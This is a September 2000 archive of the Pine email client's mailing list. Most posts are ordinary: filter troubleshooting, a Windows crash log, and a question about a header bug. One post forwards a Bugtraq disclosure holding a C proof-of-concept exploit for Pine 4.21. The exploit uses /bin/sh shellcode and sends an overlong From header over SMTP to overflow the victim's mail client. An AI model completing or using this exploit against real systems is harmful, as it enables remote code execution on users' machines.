	for <pine-info@u.washington.edu>; Tue, 26 Sep 2000 23:56:14 -0700
Received: from rr-2s01.inf.fh-rhein-sieg.de (rr-2s01.inf.fh-rhein-sieg.de [194.95.66.2])
	by ux-2s02.inf.fh-rhein-sieg.de (8.9.3+Sun/8.9.1) with ESMTP id IAA27905
	for <pine-info@u.washington.edu>; Wed, 27 Sep 2000 08:51:32 +0200 (MET DST)
Received: from [10.110.1.150] (helo=PC-2M10)
	by rr-2s01.inf.fh-rhein-sieg.de with esmtp (Exim 3.12 #1 (Debian))
	id 13eB41-00062W-00
	for <pine-info@u.washington.edu>; Wed, 27 Sep 2000 08:51:33 +0200
Message-Id: <Pine.WNT.4.21.0009270948540.-174549@pc-2m10.inf.fh-rhein-sieg.de>
Date: Wed, 27 Sep 2000 09:54:38 +0200 (CET)
Reply-To: Steffen.Kaiser@fh-rhein-sieg.de
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Steffen Kaiser <skaise2a@ux-2s02.inf.fh-rhein-sieg.de>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PC-Pine 4.21 and display/sending filters
In-Reply-To: <Pine.OSF.4.21.0009261428330.12490-100000@tom.nagra-kudelski.ch>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-X-Sender: skaise2a@rr-2s01a.inf.fh-rhein-sieg.de
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Tue, 26 Sep 2000, Daniel Lungu wrote:

> sending-filters	= C:\bin\pgpe.bat _TMPFILE_ _RECIPIENTS_

I tried something similiar a while back, my impression is that PC-Pine
uses a wrong way to call external programs, so they don't wait for its
termination, but start them as another background process.
That's the very reason why the tempfile is already gone when the batch
file has been started.

If it is even possible, that pipes work OK in a WinNT GUI application, I
don't know.

However, because the source code is not available to the public, it's hard
to tell, if it's true.

Bye,

-- 

Steffen Kaiser

FH Bonn-Rhein-Sieg        | e-mail: Steffen.Kaiser@FH-Rhein-Sieg.DE
FB Angewandte Informatik  |
Grantham Allee 20         | phone : +49 2241/865-203
53757 Sankt Augustin      |
Germany - Deutschland     | fax   : +49 2241/865-761



From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 27 Sep 2000 01:43:53 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA24950;
	Wed, 27 Sep 2000 01:43:50 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08647;
	Wed, 27 Sep 2000 01:43:49 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA05719;
	Wed, 27 Sep 2000 01:43:30 -0700
Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA14466
	for <pine-info@lists.u.washington.edu>; Wed, 27 Sep 2000 01:42:47 -0700
Received: from nvcheext01.nagra-kudelski.ch (usr632@[193.246.109.168])
	by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA04432
	for <pine-info@u.washington.edu>; Wed, 27 Sep 2000 01:42:45 -0700
Received: from nvchemsg01.nagra-kudelski.ch (nvchemsg01 [10.0.50.41]) by nvcheext01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id TJ1P68FX; Wed, 27 Sep 2000 10:42:21 +0200
Received: from tom.nagra-kudelski.ch ([10.0.50.50]) by nvchemsg01.nagra-kudelski.ch with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21)
	id TVQQAAYP; Wed, 27 Sep 2000 10:43:32 +0200
Message-Id: <Pine.OSF.4.21.0009271017470.10840-100000@tom.nagra-kudelski.ch>
Date: Wed, 27 Sep 2000 10:41:15 +0200 (MET DST)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Daniel Lungu <lungu@nagra-kudelski.ch>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: PC-Pine 4.21 and display/sending filters: crash log
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Hi again!

I have tested the simplest filter I can think of, that is cat-like:

sending-filter = C:\WINNT\system32\CMD.EXE /C type

Though Pine crashes and Dr. Watson reports:

pine.exe
Exception: access violation (0xc0000005), Address 0x77f6754b


Finally I found doctor's log that is in C:\WINNT\drwtsn32.log. Here is
a fragment from the tail of my log file:

Application exception occurred:
        App:  (pid=241)
        When: 9/27/2000 @ 10:11:15.46
        Exception number: c0000005 (access violation)

*----> System Information <----*
...
        User Name: lungu
        Number of Processors: 1
        Processor Type: x86 Family 6 Model 7 Stepping 3
        Windows Version: 4.0
        Current Build: 1381
        Service Pack: 6
...

*----> Task List <----*
   0 Idle.exe
   2 System.exe
...
 241 pine.exe
 245 CMD.exe
 228 CMD.exe
 215 DRWTSN32.exe
...

State Dump for Thread Id 0xe0

eax=00000020 ebx=7ffdf000 ecx=7ffde000 edx=00000020 esi=00000000
edi=01604730
eip=77f6754b esp=0012d9c0 ebp=0012ddfc iopl=0         nv up ei pl nz na pe
nc
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00000202

function: RtlEnterCriticalSection
        77f67540 648b0d18000000   mov     ecx,fs:[00000018]
fs:00000018=????????
        77f67547 8b542404         mov     edx,[esp+0x4]
ss:0145c3c7=????????
FAULT ->77f6754b 837a1400         cmp   dword ptr [edx+0x14],0x0
ds:0132ea26=????????
        77f6754f 754f             jnz     RtlEnterCriticalSection+0x60
(77f675a0)
        77f67551 90               nop
        77f67552 ff4204           inc     dword ptr [edx+0x4]
ds:0132ea26=????????
        77f67555 7519             jnz     RtlEnterCriticalSection+0x30
(77f67570)
        77f67557 8b4124           mov     eax,[ecx+0x24]
ds:8130ca06=????????
        77f6755a 89420c           mov     [edx+0xc],eax
ds:0132ea26=????????
        77f6755d c7420801000000   mov    dword ptr [edx+0x8],0x1
ds:0132ea26=????????
        77f67564 33c0             xor     eax,eax
        77f67566 c20400           ret     0x4
        77f67569 2e8bc0           mov     eax,cs:eax
        77f6756c 2e8bc0           mov     eax,cs:eax

*----> Stack Back Trace <----*

FramePtr ReturnAd Param#1  Param#2  Param#3  Param#4  Function Name
0012ddfc 00554439 014da590 00000000 014e1f50 004028ba
ntdll!RtlEnterCriticalSection 
0012e27c 00551369 014e5e10 014e5cb0 014e5ec0 0012f1c4 !<nosymbols> 
0012f2cc 0054a445 014e5cb0 0012fc68 006ca288 00000000 !<nosymbols> 
0012fc98 00549412 00000000 00000000 00000000 00000000 !<nosymbols> 
0012fcbc 00530e73 014c8080 00402f0e 014d00f0 00008002 !<nosymbols> 
0012ff00 00598d6c 00000001 014d0d90 0492e198 00000000 !<nosymbols> 
0012ff34 0060b804 00400000 00000000 00133760 00000001 !<nosymbols> 
0012ffc0 77f1b9ea 0492e198 77c440e0 7ffdf000 c0000005 !<nosymbols> 
0012fff0 00000000 0060b724 00000000 000000b0 00000100
kernel32!GetProcessPriorityBoost 
00000000 00000000 00000000 00000000 00000000 00000000 !<nosymbols> 

...

State Dump for Thread Id 0xef

eax=77c5d873 ebx=017dfdbc ecx=00137680 edx=00000000 esi=7ffdf000
edi=017dfddc
eip=77f682cb esp=017dfd98 ebp=017dfdec iopl=0         nv up ei pl nz ac pe
cy
cs=001b  ss=0023  ds=0023  es=0023  fs=0038  gs=0000
efl=00000213

function: NtWaitForMultipleObjects
        77f682c0 b8c4000000       mov     eax,0xc4
        77f682c5 8d542404         lea     edx,[esp+0x4]
ss:02b0e79f=????????
        77f682c9 cd2e             int     2e
        77f682cb c21400           ret     0x14
        77f682ce 8bc0             mov     eax,eax

*----> Stack Back Trace <----*

FramePtr ReturnAd Param#1  Param#2  Param#3  Param#4  Function Name
017dfdec 77e79de5 00000001 017dfe14 00000000 00001bb8
ntdll!NtWaitForMultipleObjects 
017dfe48 77e79e31 00000000 017dfe8c 00001bb8 000000ff
user32!MsgWaitForMultipleObjectsEx 
017dfe64 77c4c658 00000000 017dfe8c 00000000 00001bb8
user32!MsgWaitForMultipleObjects 
017dffb8 77f04ede 00000000 77f8f219 00000004 00000000
shell32!SHAppBarMessage 
017dffec 00000000 00000000 00000000 00000000 00000000 kernel32!lstrcmpiW 
00000000 00000000 00000000 00000000 00000000 00000000 !<nosymbols> 


Think this is not really usefull, but maybe Pine developers
will look at it and check their crash log against.

Thanks for listening,

Daniel Lungu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 27 Sep 2000 01:56:03 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id BAA04821;
	Wed, 27 Sep 2000 01:56:02 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA08897;
	Wed, 27 Sep 2000 01:55:52 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id BAA20091;
	Wed, 27 Sep 2000 01:55:31 -0700
Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id BAA89786
	for <pine-info@lists.u.washington.edu>; Wed, 27 Sep 2000 01:54:55 -0700
Received: from mx1.drenik.net (mx1.drenik.net [195.252.112.11])
	by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id BAA20305
	for <pine-info@u.washington.edu>; Wed, 27 Sep 2000 01:54:42 -0700
Received: (qmail 19522 invoked from network); 27 Sep 2000 08:16:11 -0000
Received: from office.drenik.net (HELO office2000) (195.252.112.58)
  by mx1.drenik.net with SMTP; 27 Sep 2000 08:16:11 -0000
Message-Id: <005801c02860$80c26990$3a70fcc3@drenik.net>
Date: Wed, 27 Sep 2000 10:54:10 +0200
Reply-To: "Luka Gerzic" <stinger@drenik.net>
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: "Luka Gerzic" <stinger@drenik.net>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: bugtraq fwd : PINE Exploit 4.21 [ bTm    ]
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-To: <pine-info@u.washington.edu>
X-Priority: 3
X-MSMail-Priority: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

Return-Path: <owner-bugtraq@SECURITYFOCUS.COM>
Delivered-To: stinger@DRENIK.NET
Received: (qmail 3251 invoked from network); 25 Sep 2000 16:18:06 -0000
Received: from lists.securityfocus.com (207.126.127.68)
  by mx1.drenik.net with SMTP; 25 Sep 2000 16:18:06 -0000
Received: from lists.securityfocus.com (lists.securityfocus.com
[207.126.127.68])
 by lists.securityfocus.com (Postfix) with ESMTP
 id 86A391FCDE; Mon, 25 Sep 2000 09:13:55 -0700 (PDT)
Received: from LISTS.SECURITYFOCUS.COM by LISTS.SECURITYFOCUS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14598686 for
          BUGTRAQ@LISTS.SECURITYFOCUS.COM; Mon, 25 Sep 2000 09:13:39 -0700
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Received: from securityfocus.com (mail.securityfocus.com [207.126.127.78])
by
          lists.securityfocus.com (Postfix) with SMTP id 3848D1EF2A for
          <bugtraq@lists.securityfocus.com>; Fri, 22 Sep 2000 17:32:03 -0700
          (PDT)
Received: (qmail 15119 invoked by alias); 23 Sep 2000 00:33:46 -0000
Delivered-To: bugtraq@securityfocus.com
Received: (qmail 15116 invoked from network); 23 Sep 2000 00:33:46 -0000
Received: from lolita.speakeasy.net (216.254.0.13) by mail.securityfocus.com
          with SMTP; 23 Sep 2000 00:33:46 -0000
Received: (qmail 10142 invoked from network); 23 Sep 2000 00:32:31 -0000
Received: from unknown (HELO gonzo.speakeasy.net) (192.168.0.5) by
192.168.0.13
          with SMTP; 23 Sep 2000 00:32:31 -0000
Received: (qmail 1277 invoked from network); 23 Sep 2000 00:32:39 -0000
Received: from unknown (HELO test) (216.254.0.2) by gonzo.speakeasy.net with
          SMTP; 23 Sep 2000 00:32:39 -0000
Message-ID:  <20000923003203.3848D1EF2A@lists.securityfocus.com>
Date:         Fri, 22 Sep 2000 17:32:03 -0700
Reply-To: arkane@SPEAKEASY.ORG
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: arkane@SPEAKEASY.ORG
To: BUGTRAQ@SECURITYFOCUS.COM


-- cut here --


/*############## ##### ###### ## # ##       #  # # #  #            #
 #                         #
 #       PINE Exploit 4.21 [ bTm    ]                   #
 #                                            #

      Proof of Concept: Pine 4.21

     There exists a vulnerability in Pine 4.21 involving the
     portion of code in charge of peroidically checking email
     when a pine client is open.

     Run pine in one window, then send an email to the account
     owning that session. Switch back over and hit [Control+L]
     (to check your mail).

     Woohoo!

     now open the core up in gdb:

     #2  0x40084098 in abort () at ../sysdeps/generic/abort.c:139
     #3  0x817470c in strcpy () at ../sysdeps/generic/strcpy.c:43
     #4  0x8137f82 in strcpy () at ../sysdeps/generic/strcpy.c:43
     #5  0x8158760 in strcpy () at ../sysdeps/generic/strcpy.c:43
     #6  0x40082c28 in __restore ()
              at ../sysdeps/unix/sysv/linux/i386/sigaction.c:127
     #7  0xe7e2bfff in ?? ()
           Cannot access memory at address 0xe7e2bfff.

     Oops, my alignment could use some work.


    Hello's : Mega,Loki,Lamagra,and zen-parse.


    BTW: this is broken, you have to figure it out on your own how
         to smuggle the shellcode in.

    Any real Pentester can get this working fairly quickly.

    Just be polite, don't forget to say HELO!



   Arkane [bTm]

 ######### ### # ##  # # ## # # ## # # # #       #  #  #   ###   ## ##  */



#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <string.h>
#include <unistd.h>

unsigned long get_sp (void)
{
__asm__ ("mov %esp, %eax");
}

#define ADDRLEN 700
#define EXECLEN 1000
#define NOP    0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main (int argc, char **argv)
{
  struct sockaddr_in server;
  struct hostent *hp;
  int s;
  char helo[100];
  char mail[100];
  char rcpt[100];
  char data[2500];
  char start[20];

  int offset = 0;
  unsigned long addr;
  int i;
  char *addrs,*exec;

  addrs = (char *) malloc (ADDRLEN);
  exec  = (char *) malloc (EXECLEN);

if(argc < 2)
    {
     printf("   Usage: %s <Email Address> <offset>\n", argv[0]);
     printf("                                            \n\n");
     exit(0);
    }

     if (argc == 3)
       offset = atoi (argv[2]);

   //addr = get_sp () - offset;

   addr = 0xbfffe7e2; //RH62

   memset(addrs,0x41,ADDRLEN);

  //  for (i = 0; i < ADDRLEN ; i += 4)
    //   *(unsigned *) &addrs[i] = addr;

 //  memset(exec,0x90,EXECLEN);

 //  memset(addrs+195,0x90,5);

 //  memcpy (addrs + 200, shellcode, strlen (shellcode));

if((hp = gethostbyname ("mail.speakeasy.org")) == NULL) {
      printf ("Could not resolve mail.speakeasy.org.\n");
      exit(1); }

if((s = socket (AF_INET, SOCK_STREAM, 0)) == -1) {
      printf("Error");
      exit(1); }

  server.sin_family = AF_INET;
  server.sin_port = htons (25);
  server.sin_addr.s_addr = *(u_long *) hp->h_addr;
  bzero (&(server.sin_zero), 8);

if(connect(s, (struct sockaddr *) &server, sizeof (struct sockaddr)) == -1)
{
      printf ("Connection refused\n");
      exit(1); }

   sprintf (helo, "helo test\r\n");
 sprintf (mail, "mail from: %s\r\n",argv[1]);

   send (s, helo, strlen (helo), 0);
   send (s, mail, strlen (mail), 0);

 sprintf (rcpt, "rcpt to: %s\r\n",argv[1]);

   send (s, rcpt, strlen (rcpt), 0);

 sprintf(start,"data\r\n");

 send (s, start, strlen (start), 0);

         fprintf(stderr," Message Sent! \n");

sprintf(data,"From: %s AAAAAAAA
test@test.net\r\n%s\r\n.\r\nquit\r\n",addrs,exec);
 send (s, data, strlen (data), 0);



  close (s);
  exit(0);
}


-- cut here --



------
D r e n i k   N e t w o r k s  /  Y u g o s l a v i a

Luka Z. Gerzic
Graphic design, prepress, html, networking
home page:  http://stinger.drenik.net
email: stinger@drenik.net


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 08:34:28 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id IAA01645;
	Thu, 28 Sep 2000 08:34:27 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA25800;
	Thu, 28 Sep 2000 08:34:26 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA16747;
	Thu, 28 Sep 2000 08:33:56 -0700
Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA90868
	for <pine-info@lists.u.washington.edu>; Thu, 28 Sep 2000 08:32:09 -0700
Received: from ns3.nic.mx (ns3.nic.mx [200.33.111.7])
	by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA05199
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 08:32:08 -0700
Received: from ww.nic.mx (ww.nic.mx [200.33.111.5])
	by ns3.nic.mx (8.9.3/8.9.3) with ESMTP id KAA17250
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 10:30:39 -0500 (CDT)
Received: from localhost (farias@localhost)
	by ww.nic.mx (8.9.3/8.9.3) with ESMTP id KAA21915
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 10:23:15 -0500 (CDT)
Message-Id: <Pine.GSO.4.20.0009281021010.21904-100000@ww>
Date: Thu, 28 Sep 2000 10:23:15 -0500 (CDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Francisco Arias <farias@ww.nic.mx>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Multiline header bug
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Sender: farias@ww
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


	Is there a patch for the multiline header bug on pine 4.21?

fjac

-- 
-----------------------------------------------------------------
 For information about this mailing list, and its archives, see: 
 http://www.washington.edu/pine/pine-info/
-----------------------------------------------------------------

From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 10:27:09 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA22316;
	Thu, 28 Sep 2000 10:27:07 -0700 (PDT)
Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA14573;
	Thu, 28 Sep 2000 10:27:06 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA11202;
	Thu, 28 Sep 2000 10:25:42 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA30938
	for <pine-info@lists.u.washington.edu>; Thu, 28 Sep 2000 10:20:09 -0700
Received: from usceast.cs.sc.edu (usceast.cs.sc.edu [129.252.11.9])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02030
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 10:20:08 -0700
Received: from pearl.cs.sc.edu (pearl.cs.sc.edu [129.252.130.40])
	by usceast.cs.sc.edu (8.9.3/8.9.3) with ESMTP id NAA39690
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 13:20:08 -0400 (EDT)
Message-Id: <Pine.OSF.4.21.0009281317580.15163-100000@pearl.cs.sc.edu>
Date: Thu, 28 Sep 2000 13:19:54 -0400 (EDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Gopi Sundaram <gopalan@cs.sc.edu>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Multiline header bug
In-Reply-To: <Pine.GSO.4.20.0009281021010.21904-100000@ww>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Pine Discussion Forum <pine-info@u.washington.edu>
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN

On Thu, 28 Sep 2000, Francisco Arias wrote:

> 	Is there a patch for the multiline header bug on pine 4.21?

What bug? I've only noticed problems when a defective MUA sends a
header with a line so long that instead of wrapping it, the MUA adds a
newline.

Have you noticed Pine do this as well?

Gopi.

-- 
Gopi Sundaram
gopi@cs.sc.edu


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 28 Sep 2000 11:02:07 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA10590;
	Thu, 28 Sep 2000 11:02:06 -0700 (PDT)
Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15971;
	Thu, 28 Sep 2000 11:02:05 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA13228;
	Thu, 28 Sep 2000 11:01:25 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA124358
	for <pine-info@lists.u.washington.edu>; Thu, 28 Sep 2000 11:00:18 -0700
Received: from mail.nic.mx (mail.nic.mx [200.23.1.17])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11016
	for <pine-info@u.washington.edu>; Thu, 28 Sep 2000 11:00:05 -0700
Received: from mail (mail [200.23.1.17])
	by mail.nic.mx (8.9.3/8.9.3) with ESMTP id MAA17488;
	Thu, 28 Sep 2000 12:48:40 -0500 (CDT)
Message-Id: <Pine.GSO.4.21.0009281246280.9778-100000@mail>
Date: Thu, 28 Sep 2000 12:48:40 -0500 (CDT)
Sender: PINE-INFO-owner@u.washington.edu
Precedence: bulk
List-Help: <http://www.washington.edu/computing/listproc/>
List-Unsubscribe: <mailto:listproc@u.washington.edu?body=unsubscribe%20pine-info>
List-Subscribe: <mailto:listproc@u.washington.edu?body=subscribe%20pine-info%20YourName>
List-Owner: <mailto:pine-info-request@u.washington.edu> (Human contact for the list)
List-Post: <mailto:pine-info@u.washington.edu>
From: Francisco Arias <farias@nic.mx>
To: Pine Discussion Forum <pine-info@u.washington.edu>
Subject: Re: Multiline header bug
In-Reply-To: <Pine.OSF.4.21.0009281317580.15163-100000@pearl.cs.sc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-To: Gopi Sundaram <gopalan@cs.sc.edu>
X-Cc: Pine Discussion Forum <pine-info@u.washington.edu>
X-Sender: farias@mail
X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN


	I'm refering to the "UW c-client library vulnerability" that
appears on september 1st on this list and bugtraq.  I have not heard about
a patch for this.

fjac

On Thu, 28 Sep 2000, Gopi Sundaram wrote:

> On Thu, 28 Sep 2000, Francisco Arias wrote:
> 
> > 	Is there a patch for the multiline header bug on pine 4.21?
> 
> What bug? I've only noticed problems when a defective MUA sends a
> header with a line so long that instead of wrapping it, the MUA adds a
> newline.
> 
> Have you noticed Pine do this as well?
> 
> Gopi.
> 
> -- 
> Gopi Sundaram
> gopi@cs.sc.edu
> 
> 


From pinedev@shiva0.cac.washington.edu Sun ???  0 00:00:00 1970 +0000
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sat, 30 Sep 2000 15:10:09 -0700 (PDT)
Return-Path: <PINE-INFO-owner@u.washington.edu>
Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1])
	by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA04929;
	Sat, 30 Sep 2000 15:10:08 -0700 (PDT)
Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2])
	by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA26082;
	Sat, 30 Sep 2000 15:10:07 -0700
Received: from host (server@lists.u.washington.edu [140.142.56.13])
	by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA12293;
	Sat, 30 Sep 2000 15:09:28 -0700
Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8])
	by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA49276
	for <pine-info@lists.u.washington.edu>; Sat, 30 Sep 2000 15:07:56 -0700
Received: from isr5981.urh.uiuc.edu (qmailr@isr5981.urh.uiuc.edu [130.126.211.213])
	by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id PAA22019
	for <pine-info@u.washington.edu>; Sat, 30 Sep 2000 15:07:56 -0700
Received: (qmail 57536 invoked by uid 1000); 30 Sep 2000 22:07:55 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 30 Sep 2000 22:07:55 -0000
